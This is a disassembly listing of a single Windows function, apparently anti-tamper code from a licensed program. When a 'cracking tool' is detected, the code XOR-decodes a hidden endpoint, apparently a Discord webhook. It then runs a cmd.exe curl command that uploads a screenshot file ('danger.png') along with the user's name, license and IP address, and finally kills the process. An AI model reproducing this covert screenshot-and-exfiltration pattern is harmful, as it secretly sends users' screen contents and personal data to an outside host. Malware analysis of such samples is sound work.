Function at 0x1400157f0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1406e22c0]
xor rax, rsp
mov qword [rbp + 0x400], rax
call fcn.140015fb0
mov rcx, rax
call fcn.14001f4b0
call fcn.140015fb0
mov rcx, rax
call fcn.14001d5a0
test al, al
jne 0x140015883
mov dword [rbp], 0x2710
nop dword [rax + rax]
lea rdx, [rbp]
lea rcx, [rbp + 0x40]
call fcn.14001a0b0
mov rcx, rax
call fcn.14001a0c0
call fcn.140015fb0
mov rcx, rax
call fcn.14001f4b0
call fcn.140015fb0
mov rcx, rax
call fcn.14001d5a0
test al, al
je 0x140015850
call fcn.140005860
lea rdx, str.danger.png
lea rcx, [rbp + 0x20]
call fcn.140005b90
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x2f0]
call fcn.140005540
nop
lea rcx, [rbp + 0x20]
call fcn.1400185a0
lea rdx, str.curl__F__file1_
lea rcx, [rbp + 0x290]
call fcn.140005b90
nop
lea rdx, str.danger.png
lea rcx, [rbp + 0x270]
call fcn.140005b90
nop
movabs rax, 0x13ca9bc9e990c253
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x65af344804cdc160
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xd8b30b85087f03e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x4f4cd136e38350b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x14ca33afc406e240
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xfcc3415f06f233ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xd79c5f57dfe0ab50
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x2e1d7984063c00cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0xfbe4c38a28664796
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x207a22cf0cf1d0ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x9e2bfb3832b7335
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x8eb24e62032c4411
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x4bc1f22047c9d115
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x7cb78b9bc9914989
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xdaddac08ef0fbeb8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x36251055d0112e1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs r14, 0x3ce5a1ba99e4b63b
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rsi, 0x4bcb462767bea804
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0xf7da7be427126c85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0x3c27be598be135ce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0x26fc019ef634d36f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xcefa756b36c406d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0xb6db1278ebd89b69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x4d5a34dd757644a2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x8ac981f265272ac3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x781246ff3f9ba08c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0x3cd1ccfce06f276d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0xecd6183134602576
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0x2eb7cb5677bb8857
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0x14d0ffe3f1f064e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0xbe96dc30837ed8d1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x36251055d0112e6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0xc0], ymm1
lea r8, [rbp + 0x270]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0xe0]
vzeroupper
call fcn.140019c60
nop
lea r8, [0x140504134]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140019d70
nop
lea r8, [rbp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140019d70
nop
lea rcx, [rbp + 0x20]
call fcn.1400185a0
nop
lea rcx, [rbp + 0xe0]
call fcn.1400185a0
lea rcx, [0x140731520]
call fcn.1400178a0
lea rdx, [rbp + 0x310]
mov rcx, rax
call fcn.1400cef00
nop
call fcn.140015fb0
mov rdi, rax
lea rdx, [rbp + 0x1e0]
call fcn.14004a4c0
mov rbx, rax
lea r8, [rbp + 0x310]
lea rdx, str._n___________________________________________________embeds_:___n_____________________________________________________n_______________________________________________________title_:__Cracking_tool_detected___n_______________________________________________________description_:__Program_was_forced_to_close___n_______________________________________________________color_:_16724787__n_______________________________________________________fields_:___n_________________________________________________________n___________________________________________________________name_:__User___n___________________________________________________________value_:__
lea rcx, [rbp + 0x1c0]
call fcn.140019f10
nop
lea r8, str.___n___________________________________________________________inline_:_true_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__License___n___________________________________________________________value_:__
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140019d70
nop
lea r8, [rbp + 0x330]
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.140019cd0
nop
lea r8, str.___n___________________________________________________________inline_:_true_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__IP___n___________________________________________________________value_:__
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.140019d70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.140019d40
nop
lea r8, str.___n___________________________________________________________inline_:_false_n__________________________________________________________n_________________________________________________________n___________________________________________________________name_:__Detected___n___________________________________________________________value_:__
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140019d70
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.140019cd0
nop
lea r8, [0x140504140]
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140019d70
nop
lea rcx, [rbp + 0xe0]
call fcn.1400185a0
nop
lea rcx, [rbp + 0x120]
call fcn.1400185a0
nop
lea rcx, [rbp + 0x140]
call fcn.1400185a0
nop
lea rcx, [rbp + 0x160]
call fcn.1400185a0
nop
lea rcx, [rbp + 0x180]
call fcn.1400185a0
nop
lea rcx, [rbp + 0x1a0]
call fcn.1400185a0
nop
lea rcx, [rbp + 0x1c0]
call fcn.1400185a0
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400185a0
lea rcx, [0x140731520]
call fcn.1400178a0
mov rdi, rax
lea rax, [rbp + 0x20]
mov qword [rbp + 0x40], rax
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x20]
call fcn.140018780
mov rbx, rax
lea rdx, str.danger
lea rcx, [rbp + 0x100]
call fcn.140005b90
nop
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.1400cd660
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov dword [rbp + 0x200], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0x204], 0x40
xor ebx, ebx
mov qword [rbp + 0x208], rbx
lea rax, [0x140504944]
mov qword [rbp + 0x210], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x218], rax
lea r8, [rbp + 0x2d0]
lea rdx, [0x140504958]
lea rcx, [rbp + 0x100]
call fcn.140019f10
mov rcx, rax
call fcn.140018550
mov qword [rbp + 0x220], rax
lea rcx, [rbp + 0x100]
call fcn.1400185a0
mov qword [rbp + 0x228], rbx
mov dword [rbp + 0x230], ebx
mov qword [rbp + 0x238], rbx
lea rcx, [rbp + 0x200]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x4ccbd3dffe8ad75f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0x4bcb462767becf6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rbp + 0x10], xmm0
lea rax, [rbp + 0x10]
mov qword [rbp], rax
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call fcn.14001a060
nop
lea rcx, [rbp + 0x20]
call fcn.140002dd0
nop
lea rcx, [rbp + 0x20]
call fcn.1400028e0
mov cl, 1
call fcn.140006fd0
int3